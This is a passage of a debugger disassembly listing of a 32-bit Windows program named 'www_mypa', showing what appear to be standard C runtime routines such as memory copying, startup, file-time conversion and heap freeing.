SS:[ESP+4] 00403174 50 PUSH EAX 00403175 FF15 10224100 CALL DWORD PTR DS:[412210] ; kernel32.FindClose 0040317B 85C0 TEST EAX,EAX 0040317D 75 0E JNZ SHORT www_mypa.0040318D 0040317F C705 E8064100 16>MOV DWORD PTR DS:[4106E8],16 00403189 83C8 FF OR EAX,FFFFFFFF 0040318C C3 RETN 0040318D 33C0 XOR EAX,EAX 0040318F C3 RETN 00403190 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00403194 83EC 18 SUB ESP,18 00403197 8338 00 CMP DWORD PTR DS:[EAX],0 0040319A 75 07 JNZ SHORT www_mypa.004031A3 0040319C 8B48 04 MOV ECX,DWORD PTR DS:[EAX+4] 0040319F 85C9 TEST ECX,ECX 004031A1 74 72 JE SHORT www_mypa.00403215 004031A3 8D4C24 00 LEA ECX,DWORD PTR SS:[ESP] 004031A7 51 PUSH ECX 004031A8 50 PUSH EAX 004031A9 FF15 18224100 CALL DWORD PTR DS:[412218] ; kernel32.FileTimeToLocalFileTime 004031AF 85C0 TEST EAX,EAX 004031B1 74 62 JE SHORT www_mypa.00403215 004031B3 8D5424 08 LEA EDX,DWORD PTR SS:[ESP+8] 004031B7 8D4424 00 LEA EAX,DWORD PTR SS:[ESP] 004031BB 52 PUSH EDX 004031BC 50 PUSH EAX 004031BD FF15 14224100 CALL DWORD PTR DS:[412214] ; kernel32.FileTimeToSystemTime 004031C3 85C0 TEST EAX,EAX 004031C5 74 4E JE SHORT www_mypa.00403215 004031C7 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 004031CB 8B5424 12 MOV EDX,DWORD PTR SS:[ESP+12] 004031CF 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004031D3 81E1 FFFF0000 AND ECX,0FFFF 004031D9 6A FF PUSH -1 004031DB 81E2 FFFF0000 AND EDX,0FFFF 004031E1 51 PUSH ECX 004031E2 8B4C24 16 MOV ECX,DWORD PTR SS:[ESP+16] 004031E6 25 FFFF0000 AND EAX,0FFFF 004031EB 52 PUSH EDX 004031EC 8B5424 16 MOV EDX,DWORD PTR SS:[ESP+16] 004031F0 50 PUSH EAX 004031F1 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 004031F5 81E1 FFFF0000 AND ECX,0FFFF 004031FB 81E2 FFFF0000 AND EDX,0FFFF 00403201 51 PUSH ECX 00403202 25 FFFF0000 AND EAX,0FFFF 00403207 52 PUSH EDX 00403208 50 PUSH EAX 00403209 E8 D2300000 CALL www_mypa.004062E0 0040320E 83C4 1C ADD ESP,1C 00403211 83C4 18 ADD ESP,18 00403214 C3 RETN 00403215 83C8 FF OR EAX,FFFFFFFF 00403218 83C4 18 ADD ESP,18 0040321B C3 RETN 0040321C 90 NOP 0040321D 90 NOP 0040321E 90 NOP 0040321F 90 NOP 00403220 55 PUSH EBP 00403221 8BEC MOV EBP,ESP 00403223 57 PUSH EDI 00403224 56 PUSH ESI 00403225 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C] 00403228 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10] 0040322B 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8] 0040322E 8BC1 MOV EAX,ECX 00403230 8BD1 MOV EDX,ECX 00403232 03C6 ADD EAX,ESI 00403234 3BFE CMP EDI,ESI 00403236 76 08 JBE SHORT www_mypa.00403240 00403238 3BF8 CMP EDI,EAX 0040323A 0F82 78010000 JB www_mypa.004033B8 00403240 F7C7 03000000 TEST EDI,3 00403246 75 14 JNZ SHORT www_mypa.0040325C 00403248 C1E9 02 SHR ECX,2 0040324B 83E2 03 AND EDX,3 0040324E 83F9 08 CMP ECX,8 00403251 72 29 JB SHORT www_mypa.0040327C 00403253 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00403255 FF2495 68334000 JMP DWORD PTR DS:[EDX*4+403368] 0040325C 8BC7 MOV EAX,EDI 0040325E BA 03000000 MOV EDX,3 00403263 83E9 04 SUB ECX,4 00403266 72 0C JB SHORT www_mypa.00403274 00403268 83E0 03 AND EAX,3 0040326B 03C8 ADD ECX,EAX 0040326D FF2485 80324000 JMP DWORD PTR DS:[EAX*4+403280] 00403274 FF248D 78334000 JMP DWORD PTR DS:[ECX*4+403378] 0040327B 90 NOP 0040327C FF248D FC324000 JMP DWORD PTR DS:[ECX*4+4032FC] 00403283 90 NOP 00403284 90 NOP 00403285 3240 00 XOR AL,BYTE PTR DS:[EAX] 00403288 BC 324000E0 MOV ESP,E0004032 0040328D 3240 00 XOR AL,BYTE PTR DS:[EAX] 00403290 23D1 AND EDX,ECX 00403292 8A06 MOV AL,BYTE PTR DS:[ESI] 00403294 8807 MOV BYTE PTR DS:[EDI],AL 00403296 8A46 01 MOV AL,BYTE PTR DS:[ESI+1] 00403299 8847 01 MOV BYTE PTR DS:[EDI+1],AL 0040329C 8A46 02 MOV AL,BYTE PTR DS:[ESI+2] 0040329F C1E9 02 SHR ECX,2 004032A2 8847 02 MOV BYTE PTR DS:[EDI+2],AL 004032A5 83C6 03 ADD ESI,3 004032A8 83C7 03 ADD EDI,3 004032AB 83F9 08 CMP ECX,8 004032AE ^72 CC JB SHORT www_mypa.0040327C 004032B0 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 004032B2 FF2495 68334000 JMP DWORD PTR DS:[EDX*4+403368] 004032B9 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 004032BC 23D1 AND EDX,ECX 004032BE 8A06 MOV AL,BYTE PTR DS:[ESI] 004032C0 8807 MOV BYTE PTR DS:[EDI],AL 004032C2 8A46 01 MOV AL,BYTE PTR DS:[ESI+1] 004032C5 C1E9 02 SHR ECX,2 004032C8 8847 01 MOV BYTE PTR DS:[EDI+1],AL 004032CB 83C6 02 ADD ESI,2 004032CE 83C7 02 ADD EDI,2 004032D1 83F9 08 CMP ECX,8 004032D4 ^72 A6 JB SHORT www_mypa.0040327C 004032D6 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 004032D8 FF2495 68334000 JMP DWORD PTR DS:[EDX*4+403368] 004032DF 90 NOP 004032E0 23D1 AND EDX,ECX 004032E2 8A06 MOV AL,BYTE PTR DS:[ESI] 004032E4 8807 MOV BYTE PTR DS:[EDI],AL 004032E6 46 INC ESI 004032E7 C1E9 02 SHR ECX,2 004032EA 47 INC EDI 004032EB 83F9 08 CMP ECX,8 004032EE ^72 8C JB SHORT www_mypa.0040327C 004032F0 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 004032F2 FF2495 68334000 JMP DWORD PTR DS:[EDX*4+403368] 004032F9 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 004032FC 5F POP EDI 004032FD 3340 00 XOR EAX,DWORD PTR DS:[EAX] 00403300 4C DEC ESP 00403301 3340 00 XOR EAX,DWORD PTR DS:[EAX] 00403304 44 INC ESP 00403305 3340 00 XOR EAX,DWORD PTR DS:[EAX] 00403308 3C 33 CMP AL,33 0040330A 40 INC EAX 0040330B 003433 ADD BYTE PTR DS:[EBX+ESI],DH 0040330E 40 INC EAX 0040330F 002C33 ADD BYTE PTR DS:[EBX+ESI],CH 00403312 40 INC EAX 00403313 002433 ADD BYTE PTR DS:[EBX+ESI],AH 00403316 40 INC EAX 00403317 001C33 ADD BYTE PTR DS:[EBX+ESI],BL 0040331A 40 INC EAX 0040331B 008B 448EE489 ADD BYTE PTR DS:[EBX+89E48E44],CL 00403321 44 INC ESP 00403322 8F ??? ; Unknown command 00403323 E4 8B IN AL,8B ; I/O command 00403325 44 INC ESP 00403326 8EE8 MOV GS,AX ; Modification of segment register 00403328 89448F E8 MOV DWORD PTR DS:[EDI+ECX*4-18],EAX 0040332C 8B448E EC MOV EAX,DWORD PTR DS:[ESI+ECX*4-14] 00403330 89448F EC MOV DWORD PTR DS:[EDI+ECX*4-14],EAX 00403334 8B448E F0 MOV EAX,DWORD PTR DS:[ESI+ECX*4-10] 00403338 89448F F0 MOV DWORD PTR DS:[EDI+ECX*4-10],EAX 0040333C 8B448E F4 MOV EAX,DWORD PTR DS:[ESI+ECX*4-C] 00403340 89448F F4 MOV DWORD PTR DS:[EDI+ECX*4-C],EAX 00403344 8B448E F8 MOV EAX,DWORD PTR DS:[ESI+ECX*4-8] 00403348 89448F F8 MOV DWORD PTR DS:[EDI+ECX*4-8],EAX 0040334C 8B448E FC MOV EAX,DWORD PTR DS:[ESI+ECX*4-4] 00403350 89448F FC MOV DWORD PTR DS:[EDI+ECX*4-4],EAX 00403354 8D048D 00000000 LEA EAX,DWORD PTR DS:[ECX*4] 0040335B 03F0 ADD ESI,EAX 0040335D 03F8 ADD EDI,EAX 0040335F FF2495 68334000 JMP DWORD PTR DS:[EDX*4+403368] 00403366 8BC0 MOV EAX,EAX 00403368 78 33 JS SHORT www_mypa.0040339D 0040336A 40 INC EAX 0040336B 0080 3340008C ADD BYTE PTR DS:[EAX+8C004033],AL 00403371 3340 00 XOR EAX,DWORD PTR DS:[EAX] 00403374 A0 3340008B MOV AL,BYTE PTR DS:[8B004033] 00403379 45 INC EBP 0040337A 085E 5F OR BYTE PTR DS:[ESI+5F],BL 0040337D C9 LEAVE 0040337E C3 RETN 0040337F 90 NOP 00403380 8A06 MOV AL,BYTE PTR DS:[ESI] 00403382 8807 MOV BYTE PTR DS:[EDI],AL 00403384 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 00403387 5E POP ESI 00403388 5F POP EDI 00403389 C9 LEAVE 0040338A C3 RETN 0040338B 90 NOP 0040338C 8A06 MOV AL,BYTE PTR DS:[ESI] 0040338E 8807 MOV BYTE PTR DS:[EDI],AL 00403390 8A46 01 MOV AL,BYTE PTR DS:[ESI+1] 00403393 8847 01 MOV BYTE PTR DS:[EDI+1],AL 00403396 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 00403399 5E POP ESI 0040339A 5F POP EDI 0040339B C9 LEAVE 0040339C C3 RETN 0040339D 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 004033A0 8A06 MOV AL,BYTE PTR DS:[ESI] 004033A2 8807 MOV BYTE PTR DS:[EDI],AL 004033A4 8A46 01 MOV AL,BYTE PTR DS:[ESI+1] 004033A7 8847 01 MOV BYTE PTR DS:[EDI+1],AL 004033AA 8A46 02 MOV AL,BYTE PTR DS:[ESI+2] 004033AD 8847 02 MOV BYTE PTR DS:[EDI+2],AL 004033B0 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 004033B3 5E POP ESI 004033B4 5F POP EDI 004033B5 C9 LEAVE 004033B6 C3 RETN 004033B7 90 NOP 004033B8 8D7431 FC LEA ESI,DWORD PTR DS:[ECX+ESI-4] 004033BC 8D7C39 FC LEA EDI,DWORD PTR DS:[ECX+EDI-4] 004033C0 F7C7 03000000 TEST EDI,3 004033C6 75 24 JNZ SHORT www_mypa.004033EC 004033C8 C1E9 02 SHR ECX,2 004033CB 83E2 03 AND EDX,3 004033CE 83F9 08 CMP ECX,8 004033D1 72 0D JB SHORT www_mypa.004033E0 004033D3 FD STD 004033D4 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 004033D6 FC CLD 004033D7 FF2495 00354000 JMP DWORD PTR DS:[EDX*4+403500] 004033DE 8BC0 MOV EAX,EAX 004033E0 F7D9 NEG ECX 004033E2 FF248D B0344000 JMP DWORD PTR DS:[ECX*4+4034B0] 004033E9 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 004033EC 8BC7 MOV EAX,EDI 004033EE BA 03000000 MOV EDX,3 004033F3 83F9 04 CMP ECX,4 004033F6 72 0C JB SHORT www_mypa.00403404 004033F8 83E0 03 AND EAX,3 004033FB 2BC8 SUB ECX,EAX 004033FD FF2485 08344000 JMP DWORD PTR DS:[EAX*4+403408] 00403404 FF248D 00354000 JMP DWORD PTR DS:[ECX*4+403500] 0040340B 90 NOP 0040340C 183440 SBB BYTE PTR DS:[EAX+EAX*2],DH 0040340F 0038 ADD BYTE PTR DS:[EAX],BH 00403411 34 40 XOR AL,40 00403413 0060 34 ADD BYTE PTR DS:[EAX+34],AH 00403416 40 INC EAX 00403417 008A 460323D1 ADD BYTE PTR DS:[EDX+D1230346],CL 0040341D 8847 03 MOV BYTE PTR DS:[EDI+3],AL 00403420 4E DEC ESI 00403421 C1E9 02 SHR ECX,2 00403424 4F DEC EDI 00403425 83F9 08 CMP ECX,8 00403428 ^72 B6 JB SHORT www_mypa.004033E0 0040342A FD STD 0040342B F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 0040342D FC CLD 0040342E FF2495 00354000 JMP DWORD PTR DS:[EDX*4+403500] 00403435 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 00403438 8A46 03 MOV AL,BYTE PTR DS:[ESI+3] 0040343B 23D1 AND EDX,ECX 0040343D 8847 03 MOV BYTE PTR DS:[EDI+3],AL 00403440 8A46 02 MOV AL,BYTE PTR DS:[ESI+2] 00403443 C1E9 02 SHR ECX,2 00403446 8847 02 MOV BYTE PTR DS:[EDI+2],AL 00403449 83EE 02 SUB ESI,2 0040344C 83EF 02 SUB EDI,2 0040344F 83F9 08 CMP ECX,8 00403452 ^72 8C JB SHORT www_mypa.004033E0 00403454 FD STD 00403455 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00403457 FC CLD 00403458 FF2495 00354000 JMP DWORD PTR DS:[EDX*4+403500] 0040345F 90 NOP 00403460 8A46 03 MOV AL,BYTE PTR DS:[ESI+3] 00403463 23D1 AND EDX,ECX 00403465 8847 03 MOV BYTE PTR DS:[EDI+3],AL 00403468 8A46 02 MOV AL,BYTE PTR DS:[ESI+2] 0040346B 8847 02 MOV BYTE PTR DS:[EDI+2],AL 0040346E 8A46 01 MOV AL,BYTE PTR DS:[ESI+1] 00403471 C1E9 02 SHR ECX,2 00403474 8847 01 MOV BYTE PTR DS:[EDI+1],AL 00403477 83EE 03 SUB ESI,3 0040347A 83EF 03 SUB EDI,3 0040347D 83F9 08 CMP ECX,8 00403480 ^0F82 5AFFFFFF JB www_mypa.004033E0 00403486 FD STD 00403487 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00403489 FC CLD 0040348A FF2495 00354000 JMP DWORD PTR DS:[EDX*4+403500] 00403491 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 00403494 B4 34 MOV AH,34 00403496 40 INC EAX 00403497 00BC34 4000C434 ADD BYTE PTR SS:[ESP+ESI+34C40040],BH 0040349E 40 INC EAX 0040349F 00CC ADD AH,CL 004034A1 34 40 XOR AL,40 004034A3 00D4 ADD AH,DL 004034A5 34 40 XOR AL,40 004034A7 00DC ADD AH,BL 004034A9 34 40 XOR AL,40 004034AB 00E4 ADD AH,AH 004034AD 34 40 XOR AL,40 004034AF 00F7 ADD BH,DH 004034B1 34 40 XOR AL,40 004034B3 008B 448E1C89 ADD BYTE PTR DS:[EBX+891C8E44],CL 004034B9 44 INC ESP 004034BA 8F ??? ; Unknown command 004034BB 1C 8B SBB AL,8B 004034BD 44 INC ESP 004034BE 8E18 MOV DS,WORD PTR DS:[EAX] ; Modification of segment register 004034C0 89448F 18 MOV DWORD PTR DS:[EDI+ECX*4+18],EAX 004034C4 8B448E 14 MOV EAX,DWORD PTR DS:[ESI+ECX*4+14] 004034C8 89448F 14 MOV DWORD PTR DS:[EDI+ECX*4+14],EAX 004034CC 8B448E 10 MOV EAX,DWORD PTR DS:[ESI+ECX*4+10] 004034D0 89448F 10 MOV DWORD PTR DS:[EDI+ECX*4+10],EAX 004034D4 8B448E 0C MOV EAX,DWORD PTR DS:[ESI+ECX*4+C] 004034D8 89448F 0C MOV DWORD PTR DS:[EDI+ECX*4+C],EAX 004034DC 8B448E 08 MOV EAX,DWORD PTR DS:[ESI+ECX*4+8] 004034E0 89448F 08 MOV DWORD PTR DS:[EDI+ECX*4+8],EAX 004034E4 8B448E 04 MOV EAX,DWORD PTR DS:[ESI+ECX*4+4] 004034E8 89448F 04 MOV DWORD PTR DS:[EDI+ECX*4+4],EAX 004034EC 8D048D 00000000 LEA EAX,DWORD PTR DS:[ECX*4] 004034F3 03F0 ADD ESI,EAX 004034F5 03F8 ADD EDI,EAX 004034F7 FF2495 00354000 JMP DWORD PTR DS:[EDX*4+403500] 004034FE 8BC0 MOV EAX,EAX 00403500 1035 40001835 ADC BYTE PTR DS:[35180040],DH 00403506 40 INC EAX 00403507 0028 ADD BYTE PTR DS:[EAX],CH 00403509 35 40003C35 XOR EAX,353C0040 0040350E 40 INC EAX 0040350F 008B 45085E5F ADD BYTE PTR DS:[EBX+5F5E0845],CL 00403515 C9 LEAVE 00403516 C3 RETN 00403517 90 NOP 00403518 8A46 03 MOV AL,BYTE PTR DS:[ESI+3] 0040351B 8847 03 MOV BYTE PTR DS:[EDI+3],AL 0040351E 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 00403521 5E POP ESI 00403522 5F POP EDI 00403523 C9 LEAVE 00403524 C3 RETN 00403525 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 00403528 8A46 03 MOV AL,BYTE PTR DS:[ESI+3] 0040352B 8847 03 MOV BYTE PTR DS:[EDI+3],AL 0040352E 8A46 02 MOV AL,BYTE PTR DS:[ESI+2] 00403531 8847 02 MOV BYTE PTR DS:[EDI+2],AL 00403534 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 00403537 5E POP ESI 00403538 5F POP EDI 00403539 C9 LEAVE 0040353A C3 RETN 0040353B 90 NOP 0040353C 8A46 03 MOV AL,BYTE PTR DS:[ESI+3] 0040353F 8847 03 MOV BYTE PTR DS:[EDI+3],AL 00403542 8A46 02 MOV AL,BYTE PTR DS:[ESI+2] 00403545 8847 02 MOV BYTE PTR DS:[EDI+2],AL 00403548 8A46 01 MOV AL,BYTE PTR DS:[ESI+1] 0040354B 8847 01 MOV BYTE PTR DS:[EDI+1],AL 0040354E 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 00403551 5E POP ESI 00403552 5F POP EDI 00403553 C9 LEAVE 00403554 C3 RETN 00403555 CC INT3 00403556 CC INT3 00403557 CC INT3 00403558 CC INT3 00403559 CC INT3 0040355A CC INT3 0040355B CC INT3 0040355C CC INT3 0040355D CC INT3 0040355E CC INT3 0040355F CC INT3 00403560 55 PUSH EBP 00403561 8BEC MOV EBP,ESP 00403563 6A FF PUSH -1 00403565 68 00A04000 PUSH www_mypa.0040A000 0040356A 68 A8704000 PUSH www_mypa.004070A8 0040356F 64:A1 00000000 MOV EAX,DWORD PTR FS:[0] 00403575 50 PUSH EAX 00403576 64:8925 00000000 MOV DWORD PTR FS:[0],ESP 0040357D 83C4 F0 ADD ESP,-10 00403580 53 PUSH EBX 00403581 56 PUSH ESI 00403582 57 PUSH EDI 00403583 8965 E8 MOV DWORD PTR SS:[EBP-18],ESP 00403586 FF15 20224100 CALL DWORD PTR DS:[412220] ; kernel32.GetVersion 0040358C 33D2 XOR EDX,EDX 0040358E 8AD4 MOV DL,AH 00403590 8915 00074100 MOV DWORD PTR DS:[410700],EDX 00403596 8BC8 MOV ECX,EAX 00403598 81E1 FF000000 AND ECX,0FF 0040359E 890D FC064100 MOV DWORD PTR DS:[4106FC],ECX 004035A4 C1E1 08 SHL ECX,8 004035A7 03CA ADD ECX,EDX 004035A9 890D F8064100 MOV DWORD PTR DS:[4106F8],ECX 004035AF C1E8 10 SHR EAX,10 004035B2 A3 F4064100 MOV DWORD PTR DS:[4106F4],EAX 004035B7 E8 940D0000 CALL www_mypa.00404350 004035BC 85C0 TEST EAX,EAX 004035BE 75 0A JNZ SHORT www_mypa.004035CA 004035C0 6A 1C PUSH 1C 004035C2 E8 B9000000 CALL www_mypa.00403680 004035C7 83C4 04 ADD ESP,4 004035CA C745 FC 00000000 MOV DWORD PTR SS:[EBP-4],0 004035D1 E8 DA370000 CALL www_mypa.00406DB0 004035D6 E8 C5370000 CALL www_mypa.00406DA0 004035DB FF15 1C224100 CALL DWORD PTR DS:[41221C] ; kernel32.GetCommandLineA 004035E1 A3 E81B4100 MOV DWORD PTR DS:[411BE8],EAX 004035E6 E8 85330000 CALL www_mypa.00406970 004035EB A3 34074100 MOV DWORD PTR DS:[410734],EAX 004035F0 85C0 TEST EAX,EAX 004035F2 74 09 JE SHORT www_mypa.004035FD 004035F4 A1 E81B4100 MOV EAX,DWORD PTR DS:[411BE8] 004035F9 85C0 TEST EAX,EAX 004035FB 75 0A JNZ SHORT www_mypa.00403607 004035FD 6A FF PUSH -1 004035FF E8 CCF5FFFF CALL www_mypa.00402BD0 00403604 83C4 04 ADD ESP,4 00403607 E8 B4300000 CALL www_mypa.004066C0 0040360C E8 BF2F0000 CALL www_mypa.004065D0 00403611 E8 8AF5FFFF CALL www_mypa.00402BA0 00403616 A1 10074100 MOV EAX,DWORD PTR DS:[410710] 0040361B A3 14074100 MOV DWORD PTR DS:[410714],EAX 00403620 50 PUSH EAX 00403621 A1 08074100 MOV EAX,DWORD PTR DS:[410708] 00403626 50 PUSH EAX 00403627 8B0D 04074100 MOV ECX,DWORD PTR DS:[410704] 0040362D 51 PUSH ECX 0040362E E8 CDD9FFFF CALL www_mypa.00401000 00403633 83C4 0C ADD ESP,0C 00403636 8945 E4 MOV DWORD PTR SS:[EBP-1C],EAX 00403639 50 PUSH EAX 0040363A E8 91F5FFFF CALL www_mypa.00402BD0 0040363F EB 21 JMP SHORT www_mypa.00403662 00403641 8B45 EC MOV EAX,DWORD PTR SS:[EBP-14] 00403644 8B10 MOV EDX,DWORD PTR DS:[EAX] 00403646 8B0A MOV ECX,DWORD PTR DS:[EDX] 00403648 894D E0 MOV DWORD PTR SS:[EBP-20],ECX 0040364B 50 PUSH EAX 0040364C 51 PUSH ECX 0040364D E8 EE2D0000 CALL www_mypa.00406440 00403652 83C4 08 ADD ESP,8 00403655 C3 RETN 00403656 8B65 E8 MOV ESP,DWORD PTR SS:[EBP-18] 00403659 8B45 E0 MOV EAX,DWORD PTR SS:[EBP-20] 0040365C 50 PUSH EAX 0040365D E8 8EF5FFFF CALL www_mypa.00402BF0 00403662 83C4 04 ADD ESP,4 00403665 C745 FC FFFFFFFF MOV DWORD PTR SS:[EBP-4],-1 0040366C 8B4D F0 MOV ECX,DWORD PTR SS:[EBP-10] 0040366F 64:890D 00000000 MOV DWORD PTR FS:[0],ECX 00403676 5F POP EDI 00403677 5E POP ESI 00403678 5B POP EBX 00403679 8BE5 MOV ESP,EBP 0040367B 5D POP EBP 0040367C C3 RETN 0040367D 90 NOP 0040367E 90 NOP 0040367F 90 NOP 00403680 833D 3C074100 02 CMP DWORD PTR DS:[41073C],2 00403687 74 05 JE SHORT www_mypa.0040368E 00403689 E8 F23A0000 CALL www_mypa.00407180 0040368E 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00403692 50 PUSH EAX 00403693 E8 283B0000 CALL www_mypa.004071C0 00403698 83C4 04 ADD ESP,4 0040369B 68 FF000000 PUSH 0FF 004036A0 FF15 C0CB4000 CALL DWORD PTR DS:[40CBC0] ; www_mypa.00402BF0 004036A6 83C4 04 ADD ESP,4 004036A9 C3 RETN 004036AA 90 NOP 004036AB 90 NOP 004036AC 90 NOP 004036AD 90 NOP 004036AE 90 NOP 004036AF 90 NOP 004036B0 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C] 004036B4 85C0 TEST EAX,EAX 004036B6 75 01 JNZ SHORT www_mypa.004036B9 004036B8 C3 RETN 004036B9 8B0D 4C0A4100 MOV ECX,DWORD PTR DS:[410A4C] 004036BF 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8] 004036C3 51 PUSH ECX 004036C4 8B0D 500A4100 MOV ECX,DWORD PTR DS:[410A50] 004036CA 50 PUSH EAX 004036CB 52 PUSH EDX 004036CC 50 PUSH EAX 004036CD 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 004036D1 50 PUSH EAX 004036D2 6A 01 PUSH 1 004036D4 51 PUSH ECX 004036D5 E8 C63C0000 CALL www_mypa.004073A0 004036DA 83C4 1C ADD ESP,1C 004036DD 85C0 TEST EAX,EAX 004036DF 75 06 JNZ SHORT www_mypa.004036E7 004036E1 B8 FFFFFF7F MOV EAX,7FFFFFFF 004036E6 C3 RETN 004036E7 83C0 FE ADD EAX,-2 004036EA C3 RETN 004036EB 90 NOP 004036EC 90 NOP 004036ED 90 NOP 004036EE 90 NOP 004036EF 90 NOP 004036F0 53 PUSH EBX 004036F1 8B1D 18074100 MOV EBX,DWORD PTR DS:[410718] 004036F7 55 PUSH EBP 004036F8 56 PUSH ESI 004036F9 8B03 MOV EAX,DWORD PTR DS:[EBX] 004036FB 57 PUSH EDI 004036FC 85C0 TEST EAX,EAX 004036FE 74 63 JE SHORT www_mypa.00403763 00403700 8B2D 24224100 MOV EBP,DWORD PTR DS:[412224] ; kernel32.WideCharToMultiByte 00403706 6A 00 PUSH 0 00403708 6A 00 PUSH 0 0040370A 6A 00 PUSH 0 0040370C 6A 00 PUSH 0 0040370E 6A FF PUSH -1 00403710 50 PUSH EAX 00403711 6A 00 PUSH 0 00403713 6A 01 PUSH 1 00403715 FFD5 CALL EBP 00403717 8BF0 MOV ESI,EAX 00403719 85F6 TEST ESI,ESI 0040371B 74 3E JE SHORT www_mypa.0040375B 0040371D 56 PUSH ESI 0040371E E8 DDEEFFFF CALL www_mypa.00402600 00403723 8BF8 MOV EDI,EAX 00403725 83C4 04 ADD ESP,4 00403728 85FF TEST EDI,EDI 0040372A 74 2F JE SHORT www_mypa.0040375B 0040372C 8B03 MOV EAX,DWORD PTR DS:[EBX] 0040372E 6A 00 PUSH 0 00403730 6A 00 PUSH 0 00403732 56 PUSH ESI 00403733 57 PUSH EDI 00403734 6A FF PUSH -1 00403736 50 PUSH EAX 00403737 6A 00 PUSH 0 00403739 6A 01 PUSH 1 0040373B FFD5 CALL EBP 0040373D 85C0 TEST EAX,EAX 0040373F 74 1A JE SHORT www_mypa.0040375B 00403741 6A 00 PUSH 0 00403743 57 PUSH EDI 00403744 E8 273F0000 CALL www_mypa.00407670 00403749 8B43 04 MOV EAX,DWORD PTR DS:[EBX+4] 0040374C 83C3 04 ADD EBX,4 0040374F 83C4 08 ADD ESP,8 00403752 85C0 TEST EAX,EAX 00403754 ^75 B0 JNZ SHORT www_mypa.00403706 00403756 5F POP EDI 00403757 5E POP ESI 00403758 5D POP EBP 00403759 5B POP EBX 0040375A C3 RETN 0040375B 83C8 FF OR EAX,FFFFFFFF 0040375E 5F POP EDI 0040375F 5E POP ESI 00403760 5D POP EBP 00403761 5B POP EBX 00403762 C3 RETN 00403763 5F POP EDI 00403764 5E POP ESI 00403765 5D POP EBP 00403766 33C0 XOR EAX,EAX 00403768 5B POP EBX 00403769 C3 RETN 0040376A 90 NOP 0040376B 90 NOP 0040376C 90 NOP 0040376D 90 NOP 0040376E 90 NOP 0040376F 90 NOP 00403770 51 PUSH ECX 00403771 56 PUSH ESI 00403772 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C] 00403776 85F6 TEST ESI,ESI 00403778 74 3D JE SHORT www_mypa.004037B7 0040377A 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] 0040377E 8D4C24 04 LEA ECX,DWORD PTR SS:[ESP+4] 00403782 50 PUSH EAX 00403783 51 PUSH ECX 00403784 56 PUSH ESI 00403785 E8 A60E0000 CALL www_mypa.00404630 0040378A 83C4 0C ADD ESP,0C 0040378D 85C0 TEST EAX,EAX 0040378F 74 16 JE SHORT www_mypa.004037A7 00403791 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C] 00403795 50 PUSH EAX 00403796 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 0040379A 52 PUSH EDX 0040379B 50 PUSH EAX 0040379C E8 EF0E0000 CALL www_mypa.00404690 004037A1 83C4 0C ADD ESP,0C 004037A4 5E POP ESI 004037A5 59 POP ECX 004037A6 C3 RETN 004037A7 8B0D E41B4100 MOV ECX,DWORD PTR DS:[411BE4] 004037AD 56 PUSH ESI 004037AE 6A 00 PUSH 0 004037B0 51 PUSH ECX 004037B1 FF15 A4214100 CALL DWORD PTR DS:[4121A4] ; ntdll.RtlFreeHeap 004037B7 5E POP ESI 004037B8 59 POP ECX 004037B9 C3 RETN 004037BA 90 NOP 004037BB 90 NOP 004037BC 90 NOP 004037BD 90 NOP 004037BE 90 NOP 004037BF 90 NOP 004037C0 A1 E01B4100 MOV EAX,DWORD PTR DS:[411BE0] 004037C5 53 PUSH EBX 004037C6 55 PUSH EBP 004037C7 56 PUSH ESI 004037C8 8B7424 10 MOV ESI,DWORD PTR SS:[ESP+10] 004037CC 57 PUSH EDI 004037CD 3BF0 CMP ESI,EAX 004037CF 0F83 A1000000 JNB www_mypa.00403876 004037D5 8BC6 MOV EAX,ESI 004037D7 8BFE MOV EDI,ESI 004037D9 C1F8 05 SAR EAX,5 004037DC 83E7 1F AND EDI,1F 004037DF 8B0C85 E01A4100 MOV ECX,DWORD PTR DS:[EAX*4+411AE0] 004037E6 8D2C85 E01A4100 LEA EBP,DWORD PTR DS:[EAX*4+411AE0] 004037ED C1E7 03 SHL EDI,3 004037F0 F64439 04 01 TEST BYTE PTR DS:[ECX+EDI+4],1 004037F5 74 7F JE SHORT www_mypa.00403876 004037F7 56 PUSH ESI 004037F8 E8 83430000 CALL www_mypa.00407B80 004037FD 83C4 04 ADD ESP,4 00403800 83F8 FF CMP EAX,-1 00403803 74 42 JE SHORT www_mypa.00403847 00403805 83FE 01 CMP ESI,1 00403808 74 05 JE SHORT www_mypa.0040380F 0040380A 83FE 02 CMP ESI,2 0040380D 75 1A JNZ SHORT www_mypa.00403829 0040380F 6A 02 PUSH 2 00403811 